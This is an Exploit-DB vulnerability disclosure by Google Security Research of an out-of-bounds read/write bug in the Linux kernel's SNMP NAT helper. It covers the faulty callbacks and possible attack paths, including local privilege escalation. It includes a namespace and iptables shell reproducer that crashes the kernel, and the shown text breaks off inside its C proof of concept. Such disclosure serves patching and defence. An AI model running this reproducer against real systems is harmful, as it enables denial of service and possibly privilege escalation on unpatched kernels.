Exploit-DB #46477
Description: Linux < 4.14.103 / < 4.19.25 - Out-of-Bounds Read and Write in SNMP NAT Module
Type: dos
Platform: linux
Date: 2019-03-01
Author: Google Security Research

Exploit:
commit cc2d58634e0f ("netfilter: nf_nat_snmp_basic: use asn1 decoder library",
first in 4.16) changed the nf_nat_snmp_basic module (which, when enabled, parses
and modifies the ASN.1-encoded payloads of SNMP messages) so that the kernel's
ASN.1 infrastructure is used instead of an open-coded parser. The common ASN.1
decoder can invoke callbacks when certain objects are encountered. The SNMP
helper has two such callbacks defined in nf_nat_snmp_basic.asn1:

 - For the `version` field of a `Message` (a `INTEGER`), snmp_version() is
   invoked.
 - For each `IpAddress` (according to RFC 1155, a 4-byte octet string),
   snmp_helper() is invoked.

These callbacks contain the following code:


int snmp_version(void *context, size_t hdrlen, unsigned char tag,
                 const void *data, size_t datalen)
{
        if (*(unsigned char *)data > 1)
                return -ENOTSUPP;
        return 1;
}

int snmp_helper(void *context, size_t hdrlen, unsigned char tag,
                const void *data, size_t datalen)
{
        struct snmp_ctx *ctx = (struct snmp_ctx *)context;
        __be32 *pdata = (__be32 *)data;

        if (*pdata == ctx->from) {
                pr_debug("%s: %pI4 to %pI4\n", __func__,
                         (void *)&ctx->from, (void *)&ctx->to);

                if (*ctx->check)
                        fast_csum(ctx, (unsigned char *)data - ctx->begin);
                *pdata = ctx->to;
        }

        return 1;
}


The problem is that both of these callbacks can be invoked by the ASN.1 parser
with `data` pointing at the end of the packet and `datalen==0` (even though, for
the `INTEGER` type, X.690 says in section 8.3.1 that "The contents octets shall
consist of one or more octets"), but they don't check whether there is
sufficient input available. This means that snmp_version() can read up to one
byte out-of-bounds and leak whether that byte was <=1, and snmp_helper() can
read and potentially also write up to four bytes out-of-bounds.

Unfortunately, KASAN can't detect the out-of-bounds reads because, as was
pointed out in
<https://lore.kernel.org/lkml/552d49b6-1b6e-c320-b56a-a119e360f1d7@gmail.com/>
regarding a (harmless) out-of-bounds read in the TCP input path, the kernel
stores a `struct skb_shared_info` at the end of the socket buffer allocation,
directly behind the packet data. The kernel can only detect that a problem
occurred based on the later effects of an out-of-bounds write.
It might be a good idea to explicitly add some KASAN poison between the head
data and struct skb_shared_info to make it easier for kernel fuzzers to discover
issues like this in the future.


There are two scenarios in which this bug might be attacked:

 - A router that performs NAT translation is explicitly set up to invoke the
   SNMP helper, and a device in the NATted network wants to attack the router.
   This is probably very rare, since the router would need to be explicitly
   configured to perform SNMP translation. On top of that, to corrupt memory,
   an attacker would need to be able to completely fill an SKB; it isn't clear
   to me whether that is possible remotely.
 - A local attacker could exploit the bug by setting up new network namespaces
   with an iptables configuration that invokes SNMP translation. This probably
   works as a local privilege escalation against some distribution kernels.
   The normal autoloading path for this code was only set up in
   commit 95c97998aa9f ("netfilter: nf_nat_snmp_basic: add missing helper alias
   name", first in 4.20), but from a glance, it looks like it would be possible
   on kernels before 4.20 to instead first load one of the openvswitch module's
   aliases "net-pf-16-proto-16-family-ovs_*" through ctrl_getfamily(), then use
   ovs_ct_add_helper() to trigger loading of "nf_nat_snmp_basic" through the
   alias "ip_nat_snmp_basic".


The following is a reproducer for a git master build that causes a kernel oops
(nf_nat_snmp_basic must be compiled into the kernel, or built as a module, I
think):

======================================================================
#!/bin/sh
unshare -mUrnp --mount-proc --fork bash <<SCRIPT_EOF
set -e
set -x

# make "ip netns" work in here
mount -t tmpfs none /var/run/
cd /var/run

# this namespace is the router with NAT
ip link set dev lo up
echo 1 > /proc/sys/net/ipv4/ip_forward
/sbin/iptables -t nat -A POSTROUTING -o veth0 -j MASQUERADE
/sbin/iptables -t raw -A PREROUTING -p udp --dport 162 -j CT --helper snmp_trap
/sbin/iptables -A FORWARD -m conntrack --ctstate INVALID,NEW,RELATED,ESTABLISHED,SNAT,DNAT -m helper --helper snmp_trap -j ACCEPT

# this namespace is the destination host for the SNMP trap message
ip netns add netns1
nsenter --net=/var/run/netns/netns1 ip link set dev lo up
ip link add veth0 type veth peer name veth1
ip link set veth1 netns netns1
nsenter --net=/var/run/netns/netns1 /sbin/ifconfig veth1 192.168.0.2/24 up
/sbin/ifconfig veth0 192.168.0.1/24 up

# this namespace sends the SNMP trap message
ip netns add netns2
nsenter --net=/var/run/netns/netns2 ip link set dev lo up
ip link add veth2 type veth peer name veth3
ip link set veth3 netns netns2
# /31 network, see RFC 3021
# we want *.0.0.0 so that the 3 OOB bytes can be zero
nsenter --net=/var/run/netns/netns2 /sbin/ifconfig veth3 10.0.0.0/31 up
/sbin/ifconfig veth2 10.0.0.1/24 up
nsenter --net=/var/run/netns/netns2 ip route add default via 10.0.0.1

# debug
ip route
nsenter --net=/var/run/netns/netns2 ip route

# run the PoC
cat > udp_repro.c <<C_EOF
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <stdlib.h>
#include <errno.h>
#include <stdarg.h>
#include <net/if.h>
#include <linux/if.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <linux/in.h>
#include <err.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdio.h>
#inc